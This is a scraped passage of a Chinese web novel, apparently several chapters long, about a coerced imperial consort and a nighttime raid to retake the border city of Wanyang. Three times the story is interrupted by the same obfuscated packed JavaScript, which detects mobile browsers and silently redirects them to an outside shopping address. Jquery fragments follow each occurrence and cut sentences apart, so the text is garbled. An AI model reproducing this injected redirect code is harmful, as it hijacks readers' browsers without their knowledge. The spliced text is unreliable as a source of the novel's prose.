李晁奚眯了眯眼,戏谑地说道:“不愿答应?看来你对林予哲倒真是情深意厚。” “你!”柳云熙的脸色陡然巨变。但这神色并不是被人戳中了痛处的慌乱,而是一种极度的排斥。 在那一瞬间,李晁奚看出了她眼神中的憎恨。 那是对林予哲的憎恨。 柳云熙很快便收回了情绪,偏过头去,没有再理会他。 即便如此憎恶林予哲,却仍然要为他做事,哪怕是身死人手,也不肯说出与他有关的事。这是为什么? 林予哲许给了她什么好处? 不,无论是天大的好处,若是死了,便什么都没有了,这不是柳云熙守口如瓶的理由。 如此一来,大概率是因为受到了挟制。 李晁奚的思维飞速运转着,心中立刻浮现出一个想法,佯装一副胸有成竹的样子,说道:“你就算不为自己考虑,也不能不为你在乎的人考虑吧。” 柳云熙一愣,随即警惕地看着他,“你什么意思?” “我知道,你入宫多年,如履薄冰,听从林予哲的命令办事,不过是因为,你还有重要的人在他手上罢了。”李晁奚说道。 “哦?那你告诉我,是什么人?”柳云熙见他不语,轻蔑一笑,“其实你根本不知道吧,说这些,也只不过是为了诈我罢了。” 李晁奚被戳穿,却一点也不恼火心急,而是面含微笑地道:“无妨,虽然我不知道那人是谁,但听你回答,便更加确认你还有软肋在林予哲手上,这便够了。” 柳云熙自知斗不过李晁奚,恶狠狠地看着他。 “你可以不告诉我有关林予哲的事,也可以选择就这样死在我的手里。”李晁奚的声音中带着几分诱导与蛊惑,“但你难道就不想再见你牵挂之人一面吗?或者……你就如此相信,林予哲一定会胜?” 柳云熙没有说话,但面上已然呈现出几分动摇。 “若是林予哲败了。”李晁奚的笑容有几分瘆人,“我便将他府上豢养之人尽数屠尽。” “不!!!”柳云熙猛然抬起头来,仿佛被触动了什么开关一般,忽然冲上前来,双手抓住铁门,死死地盯着李晁奚,“你要是这么做,我做鬼也不会放过你!” 见她突然扑上来,李晁奚依旧不为所动,甚至没有眨一下眼,“做鬼也不愿意放过我的人可太多了,猜猜看,你是第几个?” “不,不,你不能这样做,你不能!”柳云熙狠狠地拍打着铁门,疯狂地嘶吼辱骂着。可李晁奚却只是居高临下地看着她,面上带着近乎残忍的冷漠。 嘶吼到最后,柳云熙终于软了下来,一边哭一边恳求道:“我答应你,我把我知道的都告诉你,都告诉你!” “好,一言为定。”李晁奚笑道。 …… 柳云熙其实不姓柳,那是后来林予哲为她捏造身世,送她入宫时冠上的姓。她的名字原本就只有“云熙”二字。 云熙有一个弟弟,名唤云洛。二人生在北境苦寒之地,身上有一半羌夷族的血脉,总是遭人排挤欺辱。他们出生时便没了爹,后来娘亲去世,姐弟二人的处境就更加艰难了。 爹娘走得早,云熙早早便承担起照顾弟弟的责任。 她想出门找份活计做,可一个身娇体弱的姑娘,无论走去哪,都只是为奴为仆的命。非但赚不上什么钱,还要搭上自己的良籍。 但是为了养活自己和弟弟,云熙什么都能做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914658|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她经人介绍,进了一户当官人家做丫鬟,原也只是想本本分分地过日子,并没有多大的追求,更无意牵扯进别人的纠纷之中。奈何她生得实在貌美,没过多久便被当家主母诬陷盗窃,赶出了家门。 在那之后,云熙又去许多人家当婢女,可最后的结局总是被驱赶出府。介绍人见在她身上赚不到什么钱,也没了耐心,干脆将她诱骗去花楼做妓|女。 那时的云熙不过才十五岁,却已拥有十足美艳的容貌。花楼老鸨自觉这辈子也算是阅人无数,但在看到云熙的面容之时,还是忍不住为之震颤。 那双含着水雾的眼眸,纵使她一个女人看了,都心生怜惜,更何况是那帮满脑子色欲的男人? 老鸨知道自己这是捡了个宝,命人将她关起来,囚在金丝笼中,挑了个日子要将她的初夜拍卖出去。 云熙想过许多活命之法,却未曾想过要屈身人下。被困于花楼后,她无数次悲愤欲绝,恨不能一头撞死在笼中。可每每想到自己的弟弟,她又劝说自己不能如此这般一死了之。 拍卖会前一晚,花楼突然闯入了一伙蒙面黑衣人,将花楼上下所有人都屠杀殆尽。 云熙以为她就要死在这里了,却不想黑衣人并未对她下手,而是将她送到了林予哲的面前。 是林予哲派人将她劫了出来,带走了她的弟弟,又放火将花楼烧了个干净。人人都以为当初那个一眼惊鸿的美人葬身在了火海之中,殊不知,她已成了林予哲的掌中之物。 林予哲没有碰她,因为参选秀女须得是处子之身。他从一开始,就是想让云熙入宫为妃,做自己的眼线,顺便为他做一些见不得人的勾当。 云熙早就知道这一点,也并未对此心存怨恨。毕竟是林予哲将她从花楼中救了出来,又为她和弟弟提供了一处安身之所,她理应报答。 林予哲让她学什么,她就去学。林予哲让她做什么,她就去做。 只要她和弟弟能够活下去就好了。 云熙会一直无条件地服从林予哲的命令——如果不是因为林予哲对云洛做了那样的事情。 某日,云熙无意间撞见云洛更衣,竟看到他满身的伤疤与红痕。 那一刻,云熙无法形容自己的情绪——震惊?愤怒?愧疚?后悔? 云熙被气血冲晕了头脑,待她反应过来之时,已经提着刀来到林予哲面前。她红着眼睛,嘶吼着冲上前去,“我杀了你!” 结局如何,不难想象。 云熙一个弱女子,如何能敌得过在北境战场杀敌的林予哲? 林予哲轻而易举地就夺过了她的刀,将她一巴掌掀翻在地,脸上呈现出不耐烦的表情,“麻烦。” 云熙倒在地上,怨恨地道:“洛洛才十三岁,他才十三岁……” 林予哲皱了皱眉,不屑地说道:“那又怎样?” 云熙终于明白,眼前之人是个真正的禽兽。 她不能留在这里,她要带着洛洛逃离这个禽兽的魔爪。 可是逃跑没有成功,换来的是变本加厉的虐待。 云熙是要入宫为妃的人,身上不能留疤。于是这些虐待统统落在了云洛的身上。 云熙再也不敢跑了。 …… “从今日起,你便是敬州知府嫡女柳云熙。入宫之后,听我命令行事。如果被我知道你又存了别的心思……你弟弟的性命,可就不保了。” 临行前,林予哲的威胁之辞,就像一只巨大的魔爪,扼住她的喉咙,几乎让她窒息,却又无法挣脱。 即便如此,她仍旧心存一丝希望——都说大昭如今的皇帝,是个百年难遇的明君,若她能够取得圣上的宠爱,大可将林予哲的野心和盘托出,求圣上想办法将洛洛救出来! 然而,入宫之后,云熙终于明白曾经的自己有多天真。 那个英明神武、被世人所称颂的明君,是年轻时的李钰,是刚登上皇位,真真正正想谋一番大业的李钰,而不是如今这个喜怒无常、沉迷声色的李钰。 云熙最终还是没能戳破林予哲的诡计。 她不能用弟弟的性命,去赌一个似有若无的未来。 她终于妥协了。 一切都在按林予哲的计划执行。云熙生得貌美艳丽,又有林予哲在背地相助,很快便得了宠。李钰年事渐长,本就有些懈怠朝政,得了云熙之后,日日被勾得飘飘欲仙,更加无心朝事。 朝臣表面上赞她仙人之姿、乃是神仙妃子下凡,背地里却骂她是个红颜祸水、蛊惑帝王的妖媚。 呵,真是可笑。 若要令山河倾颓、国运衰退,竟只需要一个女人! 若要保全生前清白、身后名声,就把一切过错都推在一个女人的身上好了。看,多么简单的道理,多么聪明的算计! 云熙不在乎生前清白,也不在乎身后名声,甚至不在乎自己的生死。 她只是想让云洛好好地活着,仅此而已。 都说美人误国……可又是谁人,误了她的一生? 62. 破局 西北边境,宛阳城。 夜幕降临,整座城池笼罩在一片黑暗之中,寂然无声。 再次回到这里,阿柔心情复杂。在过去,宛阳算是她的故乡,她虽不常回来,却实打实地喜欢着这个地方。 老百姓感念景西王护佑边境的恩德,时不时地便送些粮食衣物往王府去。 戚叶临和戚思辰需要坐镇西北大营,很少在宛阳常住。因而每次回来,看到府上仓库莫名其妙多出来的东西,总是又感动又头疼。 且不说府上人丁稀少,用不上这么多东西。再说,镇守西北本就是景西王应尽之职责,又怎么好收平民百姓的东西? 戚叶临在城中的时候,也同百姓们说过这件事。大家的好意他心领了,但府上人少,东西送得太多,也只是铺张浪费,倒不如各自留着,好生过日子才是。 如此劝说了好几次,送东西的情况总算少了一些,却还是不能完全避免。 久而久之,戚叶临也不忍拂了百姓们的好意,便不再阻止,而是嘱咐府上的仆妇慧芳,如果有人再送礼,就回一些柴米油盐之类的必需品用以回报。 原先阿娘还在的时候,全无王妃的架子,而是与城中百姓打成一团。农忙时节,她会带着王府人丁去田地里帮忙。到了冬日,则会带着城中女眷,一同为西北将士缝冬衣。若是城中百姓遇到了什么难处,她也总会倾力相帮。 阿娘走后,阿柔和二哥也一同离开了宛阳,慧芳便主动做起了花轻雪从前做的事。 景西王府往来纷纭,这十几年间,有许多人来过,又有许多人离开。但只有慧芳始终如一地守在这里,她自言是为了报答王爷王妃当年的救命恩情,阿柔却觉得,也许慧芳早已将这里当成了自己的家。 她守在此处,是为了给所有远行在外的王府旧人一个归处,是为了让戚家人回家时,能够吃上一口热乎的饭。 记忆中的宛阳是鲜活的、温暖的,而不是如今这般黑云密布、死气沉沉。 潜入宛阳之后,先行军便按照出发之前的分工,各自分散行动着。 他们的计划,是要趁夜晚在城内引发动乱,与此同时解决掉据守城门的节度使兵,将西北铁骑放入城中。这项计划风险很大,可行性却也不小。 阿柔现在要做的,就是将行动的风险降到最低。 她要找到谢阳在哪里。 西北铁骑为了躲避城墙哨兵的视线,只能驻扎在十里之外的地方。城门打开之时,不可能第一时间赶到。在这期间,若是节度使兵及时发现了城门异常,派人前来增援,那么这项计划就将彻底付之一炬。 但若是能牵制住谢阳,让他分身乏术、无暇顾及城门异常,甚至是……直接取下他的首级,节度使兵必然会方寸大乱、群龙无首,夺取宛阳一事也就不在话下了。 阿柔一身黑衣,将头发高高挽起,腰间别着一把环首刀,浑身上下散发着肃杀的气息,披着银色的月光,在屋顶之上疾跑穿行。 “这刀还是太笨重了些。”阿柔心里想。 阿柔惯用的那把红炉雪已在上一场战争中报废了,她现在能用的,只有军队制式的环首刀。 那么,谢阳会在城内何处呢? 答案其实并不难猜。 就像历史上的反贼,在攻破皇城之后,一定会黄袍加身,自立为王,占据整座城池最能彰显尊贵身份的地方一样。而谢阳带兵占据宛阳,最有可能落脚的地方便是—— 景西王府。 阿柔神情凛冽,加快了脚上的步伐。 还未接近景西王府,阿柔便遥遥地看到府中亮着的灯光,以及院内值守的节度使兵。 果然!这帮鸠占鹊巢的混蛋! 府上的护卫奴仆都在哪里?慧芳又如何了?节度使兵可有难为过王府中人?还是说…… 阿柔不敢再往下想,恨恨地咬了咬牙,从屋顶之上一跃而下,轻盈地落在地面上。 刚一落地,便听到交谈声与三两脚步声由远及近。阿柔连忙闪身躲进拐角的阴影处。 不一会儿,就有几个士兵从方才她所站的位置经过,嘴上还在说着什么。 “将军这两天下的命令可真让人弄不明白。莫名其妙打了一仗不说,现在还赖在这穷乡僻壤的地方不走了。” “你可甭管将军到底是什么意思,照做就是了。” “但……那可是景西王啊!我是从小听着景西王的故事长大的,将军说景西王叛了国了,我……我不信。” “呵,你不信,你以为别人就会信?这种事儿我听得多了,不就是打个幌子开战而已。” “可万一……打不过呢?” “打不过就打不过呗,反正先倒霉的是上面的人,又不是咱们。谁赢了,咱们就跟着谁继续打,总不能把咱们全都杀光了吧?” 那人话音刚落,忽然觉得脖子一凉,似乎有利器划过,力度之大,几乎要切开他的骨骼,发出血肉撕裂的恐怖声响。 “你怎么知道不会呢?”清冷的女声在背后响起,听不出喜怒。 血液从脖颈之中喷溅而出,方才说话的那人还没意识到发生了什么事,便已没有了生息。 其余几人见状大惊,正准备拔出军刀应战,却已先一步被划破了喉咙,横七竖八地倒在地上,血流满地。 “啊……啊……”一瞬间,方才还在并肩闲聊的兵士之中,就只剩下一个人还活着。 他看起来不过十六七岁,面上白白净净的,显然是个还没历经过风吹雨淋的新兵。 这新兵哪里见识过这种场面,吓得跪坐在地上,连话都说不出来了。 阿柔将刀尖抵在他的脖子上,“谢阳在哪?” “将,将军……应该在房里休息……” “我问你他在哪?”阿柔皱了皱眉头,语气不善。 “在北边的院子里!具体是哪一间,我,我真的不知道了!”他简直要吓哭了。 阿柔扬起下巴看他,“你方才说,你是听着景西王的故事长大的?” 新兵却不敢与之对视,“是,是……” “那我倒是有几分好奇……”阿柔冷笑一声,将环首刀尖往他的皮肤里刺入几分,顿时流出鲜血来,“你跟着谢阳,给西北的将士们捅刀子的时候,心里想的会是什么呢?” “我没有!我没有!”那新兵哭嚎着,眼泪和鼻涕糊了一脸,“我就是家里没钱才来充军的,我不敢杀人的,我不敢杀人的!” 阿柔发出一声叹息,语气之中带上了一丝悲悯,“也许是这世道负了你。” 语毕,环首刀划过脉搏,几乎在一瞬间便终结了少年的生命。 阿柔没有停留,一路往北而去。 …… 其实不必逼问兵卒,阿柔也大概能猜到谢阳的方位。北院原就是王府主院,原先阿爹阿娘住的就是这里。 阿柔避开值守兵卒,悄无声息地来到了王府北院。 果不其然,这里巡守的兵士远比其余地方多。 阿柔绕到院落侧边无人的角落,翻身上墙,攀上屋顶,压低身形,尽力让自己融于夜色之中。她以一种极为诡谲莫测的身法,躲掉巡守兵士的视线,无声无息地潜行至卧房旁侧。 阿柔觉得有些不对劲。 北院安插了众多巡守兵士,可为何卧房周围一圈却没有半个人? 这莫非是……陷阱? 可阿柔自认今夜突袭已是出其不意,谢阳他真能预料得到吗? 阿柔脑海中翻涌着许多念头,思考着无数的可能性。就在此时,她听到卧房里传来声音—— 肉|体碰撞的声音,连带着女人的惊|喘,夹杂着不堪入耳的污言秽语,交织缠绕在一起。 阿柔瞬间睁大了双眼,继而感觉到一股怒火烧到心脏。 这里是阿爹阿娘的住处,他怎么敢?他怎么敢?!! 下一秒,阿柔踹开了卧房的窗户,飞身进入,抬眼便见床榻上交缠着两个赤|裸的人。阿柔简直要恶心坏了,提着刀便向前冲去。 “你是什么人!”谢阳因这突如其来的变故吃了一惊,见那黑衣女子来势汹汹,长刀直往自己面门刺来,他没有任何犹豫,一把拉过躺在身边的女人,挡在自己身前。 “啊!!!”那女人惊声尖叫起来。 阿柔见状,急忙收起刀势——若是再晚半秒,这刀便能直直插进那女人的心脏。 女人被吓得魂飞魄散,直接晕了过去。 谢阳随手将她丢在床榻上,转身便要去够摆放在武器架上的军刀。 阿柔哪里能给他这个机会,手握长刀,迅猛如影,立时便追上了他的身形,毫不留情地朝着他的手腕劈砍而去。 谢阳反应极快地收回了手,还未回过神来,又见长刀直冲面门而来,他心下大惊,奋力躲闪,面颊却还是被划开了一道口子,渗出丝丝鲜血来。 “操。”谢阳骂道,“到底是哪来的娘们?” “取你命的人。”阿柔阴狠着说道,话音未落,抬手又是一刀。 谢阳艰难躲避着少女凌厉的刀势,几次三番想要伸手去够军刀,但阿柔似乎知道他想做什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928910|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一刀都精准地往他出手的方向劈砍。不消片刻,谢阳身上便多了许多深深浅浅的伤口。 谢阳深知这次遇上了个难对付的人,若是与眼前之人单打独斗地对拼,真的会死在她的刀下! 如此窘迫的情境之下,谢阳头脑飞速运转,竟毫无征兆地往房间另一侧跑去。 阿柔一刀挥空,秀眉一挑,正欲追去,便见谢阳用力掀翻了一座展架,上面摆放的各种陶瓷花瓶、金银铁器尽皆掉落在地上,瞬时发出震耳欲聋的声响。 阿柔心中暗骂一声,知道刺杀谢阳一事是不成了,没有任何犹豫,转身便往外走。只是刚走出门外,就已被闻声赶来的节度使兵团团包围。 “啧,麻烦。” 阿柔皱起眉头,没有理会面前乌泱泱的一群人,向院侧围墙跑去,轻巧地攀上墙边的古树,转眼便消失了。 “愣着干什么,还不快去追!”谢阳好不容易整理好了着装,匆忙从卧房内走出,就看到阿柔足下生风、翩然离去的一幕,恨得牙都痒了。 区区一个女人,竟能躲过府上值守的兵卒,在他做正事的时候闯入卧房,险些将他劈死,最后还能安然无恙地离开? 这简直就是奇耻大辱! 众将领了命,忙去城内搜查了。 正当此时,宛阳城的上空却突然炸开了绚烂的烟花,迸发出巨大的声响,在夜空中绽放出绮丽的色彩。 人人都被这突如其来的变故惊住了,兵士也不由得停住了步伐。 “报!”一个兵卒跑进院中,慌慌张张地禀报道,“将军,城南粮仓走水了。” “什么?!” 谢阳心中阵阵发凉。 不对劲,很不对劲。 先是莫名其妙闯入了一个女刺客,又是深更半夜突然炸开的烟花,再是城南粮仓走水……今夜发生的一切都未免太过于巧合。 莫非是……城内混进了西北铁骑的细作? 想到此处,谢阳当机立断地下令道:“除了那女刺客外,尽快找出放烟花之人的行踪,一并捉拿归案!另外,通知城内巡守,去城南粮仓救火!” “是!” “还有一事。”谢阳对身边的亲信交代着,“你带一支小队,去看看西北城门可有异常。” …… 夜半三更,宛阳城内却热闹不已。 方才那几枚射入天际的烟花,早已将城内十之八九的人吵醒,不少人穿了衣服出门,想看看究竟是哪个倒霉鬼深更半夜闹出这么大的动静。 “都看什么看,有什么好看的!”谢阳的亲信带着兵往西北城门赶去,一边走一边驱赶出门看热闹的百姓,却收效甚微。 忽然间,有人指着城南的方向大喊:“你们看,那边怎么起火了?” “哎呀,真的是。” “不得了了,那个方向好像是粮仓啊!” “什么?!快去救火啊!” 宛阳百姓奔走相告,家家户户都拎着水桶,往城南的方向涌去。 那带队的亲信见阻拦不住,也没有多余的功夫整顿秩序,只好暂时放任不管,逆着人流往西北城门走。 好不容易避开人群,来到空旷的地方,人声喧嚣渐渐远去,再走两步路便能到达西北城门。 只是见到西北城门的那一刻,他却感觉到头皮要炸开了——只见城门大开,兵卒横七竖八地躺在地上,浑身鲜血,显然遭到了袭击。 “立刻关闭城门!回去通报将军,西北城墙被贼人袭击……啊!” 一句话还未说完,那人发出一声凄厉的惨叫,脖颈上突然出现了一只飞镖,直插动脉,不断涌出黑色的血来。 “嘭”的一声,他倒在地上,没了声息。 随行兵卒大惊失色,纷纷拔出军刀,惊恐地四处张望着。但他们什么也没看清,甚至来不及做出任何反应,身边便已多出了几个身着夜行衣的人,宛如鬼魅一般,在瞬间便终结了这些人的生命。 空气中弥漫着浓厚的血腥味。横死的兵卒倒在地上,各个睁大双眼、面目扭曲、死不瞑目,这幅场景在月光之下显得更加诡异森然。 为首之人将染了血的长剑入鞘,对身边之人嘱咐道:“你们留在这里,务必守好西北城门,一定要撑到西北铁骑赶来。” “是,门主!” 月光洒落,映照在为首之人冷冽的面庞上。 他眉头紧锁,神情紧绷,望着远处天穹炸开的烟火,以及城南上空的滚滚熊烟,往人群喧嚷的地方飞驰而去。 那人正是故渊门门主,司言。 63. 城门 阿柔知道自己是大意轻敌了。 今夜,她本有无数机会可以杀死谢阳。 倘若她没有被愤怒冲昏头脑,先观察房内情况,再潜入其中一击毙命;倘若她能及时猜到谢阳的意图,阻止谢阳发出声响引来救兵;倘若她手上的是红炉雪,而不是这把用起来稍显蹩脚的环首刀…… 无论有怎样的借口,事实就是,阿柔刺杀的计划失败了,拿下宛阳城损耗最小的方案折在了她的手里。 而现在显然不是自怨自艾的时候,需要做的事还有许多。 阿柔的武功虽然算不上绝顶厉害,轻功却是同龄人之中数一数二的,所以她才能绕过王府巡守兵士,找到谢阳的位置,又能从重重包围中脱身。要甩开身后追兵,逃到城外,于她而言,也不是什么困难的事。 只是阿柔现在需要做的并不是甩开追兵,而是将他们引至远离西北城墙的地方,为夺取西北城墙的先行军分担一些压力。 因此,阿柔刻意放慢脚步,与追兵保持着不远不近的距离,使得他们既不会丢失方向,又不能立刻将她抓住。 她在屋顶上急驰。登高望远,能将城内的情况看得很清楚——城南粮仓走水,许多百姓涌去南边救火。火光与灯光交织在一起,几乎点亮了整个城南的天穹。 阿柔不能将战火引到人群密集的地方,明亮的场所也不适合隐蔽身形,她便一路往城东而去,在城东这一片兜圈子。 追兵们不知她真正的意图,只当这人是在拿他们取乐,一时之间气急败坏。 阿柔在附近绕了几圈,见追兵半晌都没动静,思忖着追兵是否已经察觉到她在有意拖延时间。 就在这时,有人大喊了一句:“她在那儿!准备!” 阿柔一惊,转身望去,瞳孔皱缩——只见地面上赫然站着一排弓兵,将森寒的箭头对准了她! 靠,他们竟然在百姓聚集的城内放箭?! 阿柔暗骂一声,以生平最快的速度拔出腰间环首刀,堪堪抵挡住将要落在身上的箭雨。 然而数目实在太多,阿柔拼了命也只能护住要害的地方。一直箭直直地穿过她的肩胛,痛得她直冒冷汗,瞬间卸了劲,身形一歪,顺着屋顶砖瓦滚落而下。 地上追兵见她中箭,整队往她摔落的方向跑去。 …… 阿柔其实是故意往下跳的。 在有弓兵的情况下,她不能一直待在屋顶上给人家当活靶子。 但肩胛上中的那一箭却是实实在在的,况且以如此狼狈的姿势从屋顶滚落,她很难使出轻功来,只能凭着技巧让自己摔得不至于太惨,大概率还是会断个胳膊断条腿的。 阿柔已经做好了准备,只是意料中的疼痛并没有出现。 她向下坠落,却没有跌落在坚硬寒冷的地面上,而是落入了一个熟悉的温暖的怀抱。 阿柔呼吸一滞,几乎在一瞬间便已知晓了来人的身份。 她睁大了双眼,抬头望去,只见皎皎月光衬得那人眉眼温柔。 目光相触间,她听到那人低声说道:“对不起阿柔,我来晚了。” 不晚。阿柔心想。 在如此紧急,如此危难,如此命悬一线的时刻,本该在京城的司言,宛如神兵天降一般,出现在她的身边。 他的气息是如此令人安心,以至于阿柔连日以来紧绷着的心弦在此艰险的时刻,竟也松懈了下来。 司言抱着她,往角落跑去。 他们所处的位置正好处于城墙边上,屋舍与城墙之间呈现出一处极小的夹角,夹角之中种着一棵古树。 想来若非为了避开这棵古树,屋舍也不会斜着盖。 古树与夹角之间圈出了一块极小的空地,司言抱着阿柔往树后躲藏。 空地实在是太小,容纳一个人还有些富余,容纳两个人就显得有些局促。阿柔的左肩胛还插着一支箭,她小心翼翼地避开伤口的位置,将身上的重量压在右半边的身躯,与古树几乎是严丝合缝地贴在一起。 而司言则站在她的身后,将她整个人圈在臂弯里,一只手揽住阿柔的腰,一只手撑在树干上,以免压到阿柔的伤口。 两个人就以这样的姿势,紧紧地贴合在一起。 阿柔的后背,甚至能感受到司言越来越快的心跳。 宛阳入夜之后还有些冷,然而在这极为狭窄的空间之内,温度却在不断上升。 阿柔感受着腰间传来的触感,以及落在面颊上的温热鼻息,不知道是因为受了伤还是什么别的原因,腿软得快要立不住。 追兵匆匆赶至她方才坠落的位置,又四处张望了一阵。 “人呢?人去哪了?” “这里有血,那娘们中了箭,一定没跑太远!” “分头去找!” “……” 阿柔几乎快要听不到外界的纷乱喧嚷了,天地之间似乎只剩下了交缠在一起的急促的呼吸声,以及怦然乱动的心跳。 阿柔燥热得有些难耐,想要活动一下已经快要发麻的半边身子。 下一秒,温热的气息洒落在她的耳朵上,带着一句低沉沙哑的话语,“别乱动。” 阿柔看不到自己现在是何模样,只觉得从脖颈到脸颊,连着耳根都在发烫。 她不敢再动了,僵硬而局促地保持着原先的姿势,齿间却难以自抑地泄出几声颤抖的喘息。 阿柔只觉羞愤欲死,内心祈祷着追兵快点离开。 不知过了多久,外面的喧嚣终于远去了。 司言松开了手,阿柔只觉腰间那股撑着她的力量减轻了不少,腿一软,便直直地往下滑。司言眼疾手快地架住她,扶着她慢慢地坐了下来。 “别动,让我看看你的伤。”司言在她面前蹲下身,便见那支箭从前往后,贯穿了她整个肩胛,渗出一大片血来。 司言顿觉心里揪成一片,摸了摸阿柔细软的头发,在她冒着冷汗的额角上亲了一下,说道:“忍一忍,我马上带你去安全的地方。” 说罢,他拔出佩剑,劈断累赘的箭杆,继而将阿柔打横抱起,迅速离开了这处暂时的藏身之所,绕开城内追兵,一路往故渊门暗桩据点而去。 所幸据点离此处并不算远,一路上也没遇到什么难缠的阻碍。 据点有夜兰和几个故渊门弟子守着,见到司言,都上前迎道:“门主。” 夜兰见他怀中抱着个人,有些惊讶,走近一看,发现那人竟是许久未见的阿柔,“戚三小姐受伤了?” 司言脚步不停,抱着阿柔往里间走,“鸦青,你过来一下。” 那名叫鸦青的年轻女子,是故渊门中专修医术的弟子,司言先前专门把她从别处调到宛阳城来,就是为了应对突发情况。 鸦青连忙跟上司言的步伐,一路来至里间,随手关上门后,上前查看阿柔的伤情。 片刻之后,她突然没头没脑地来了一句,“门主,这是你什么人?” 司言皱了皱眉头,不太能理解她此时问这个问题的意义,“现在不是说这个的时候,尽快把箭镞取出来才是。” “我知道,我知道。”鸦青咳了咳,“要取箭镞,得先把衣裳脱下来对不对。门主……要不你先出去,把夜兰姐姐叫进来帮我?” 司言:“……” 司言在床边蹲下,抓住阿柔的手,“阿柔,你想让我留下来吗?” 阿柔痛得冷汗涔涔,强撑着说道:“我一个人可以……” “逞强。”司言无奈地摇了摇头,“我知道你不放心外面的情况。你就安心待在这里,我出去帮忙,好不好?” 司言在她手上留下一吻,轻柔地道:“我保证,一定会带着好消息回来。” 阿柔捏了捏他的大拇指,说道:“不许死。” 鸦青站在一旁,瞪大眼睛看着这一幕——嚯,等她回了故渊门,一定要把今日所见所闻告诉门里的小姑娘们,最好是写成书,再找人画上插画…… “你又在胡思乱想些什么,口水都快流出来了。”司言汗颜。 若不是知道这姑娘只是看起来不正经,医术还是很高明的,不然真不放心把阿柔交给她。 鸦青连忙收了心思,正色道:“放心吧门主,一定给您把门主夫人治好咯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943146|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别这么叫她,她有名字。”司言站起身来,往门外走去,“她叫戚雪柔,你可以叫她阿柔。” “哦,哦……”鸦青挠了挠头,似懂非懂地答应了。 司言去外间叫了夜兰来帮忙,孤身一人离开据点,回到无边夜色之中。 …… 此时距离先行军占领西北城门,已经过去了大半个时辰。 约莫再有一炷香的时间,西北铁骑的大军就能赶至宛阳,进城杀敌。 只要谢阳被城中发生的各种动乱缚住手脚,无法及时发现西北城墙的异常,西北铁骑就能在没有任何攻城器具的情况下杀入城中,长驱直入。 虽然阿柔的刺杀行动失败了,但某种程度上来说,的确达成了困住谢阳的作用。 谢阳遭人刺杀,再加上城中各种怪异的情况,他不可能不心生戒备,而拥有重兵防守的王府显然是整座城池最安全的地方,他一定会选择留在安全的巢穴里给手下兵士下达命令。 既是如此,只要解决掉传令兵,谢阳的命令无法落到实处,各个分队之间消息阻塞,自然会乱了手脚。 阿柔跟着戚叶临制定战略时,不是没想到这一点。只是以西北大营此时的情况,实在没有办法给先行军分出更多的兵力来,要完成占领城门的任务已是不易,又如何有多余的精力来做这件事呢。 而司言的出现,正好补全了这项计划的漏洞。 他带领手下故渊门弟子,击杀从王府出来的传令兵,彻底断绝了城内各处节度使兵的消息往来。 “门主!”手下弟子匆忙来报,“谢阳已经发现西北城门的异常,正带兵往城门去!” “躲在暗处的缩头乌龟,终于知道爬出来了么。可惜,太迟了。”司言冷笑一声,“召集城内弟子,死守城门。” “是!” …… 这个夜晚格外的长。 长到每个人都已筋疲力尽,却仍要苦苦支撑。 占据城门的西北将士遥望城外,只见茫茫荒野之中,出现了一支数万人的大军,正在朝宛阳城贴近。 马蹄踏过,掀起漫天尘土。明月相照,映得甲胄森寒。 旌旗高悬,旗面上赫然写着“西北”二字。 西北铁骑归来了。 城头哨兵大喜过望,回头向队友们道:“来了!咱们的人来了!” 下一秒,笑容却凝固在了脸上。 因为先一步到来的,是谢阳的节度使兵。 先行军与故渊门弟子聚于城门,加起来统共也不足百人。可他们面前所对的,却是千军万马。 身后便是悬崖,他们根本无处可退。死也要守住城门,这是唯一的选择。 谢阳拔出军刀,对天而指,大喊道:“众将听令,即刻将反贼捉拿绞杀,关闭城门,死守宛阳,绝不可让叛军入城!” 千军怒号,如雷声绽。 先行军统领亦不堪示弱,在月下挺直腰背,高声嘲弄,“哈哈哈哈哈,你以为我们会怕么?放马过来吧,赫月蛮族的走狗,卖国求荣的混蛋!” 谢阳眼神中滑过一抹暗芒,他阴沉着脸,比了个进攻的手势,身后兵卒一冲而上。 先前司言带人断掉了城中兵卒的消息往来,谢阳现在带领的这部分人马,也只是他手下的其中一小部分。 即便如此,敌我人数依旧悬殊。 司言在心里默默算着。 快了,只要再坚持半刻就够了。 可是……真的能坚持到半刻吗…… “我保证,一定会带着好消息回来。” 敌军举着军刀劈砍上来的时候,司言听到了自己的声音。 是啊,他答应了阿柔的,一定会带着好消息回去。 他以故渊门门主的身份站在这里,身后是一路以来支持拥护他的门中弟子,他原就不该有任何犹疑和退缩。 司言想和阿柔在一起,就必须得配得上景西王府的风骨。 敌军杀到眼前的那一刻,司言的目光陡然清明。 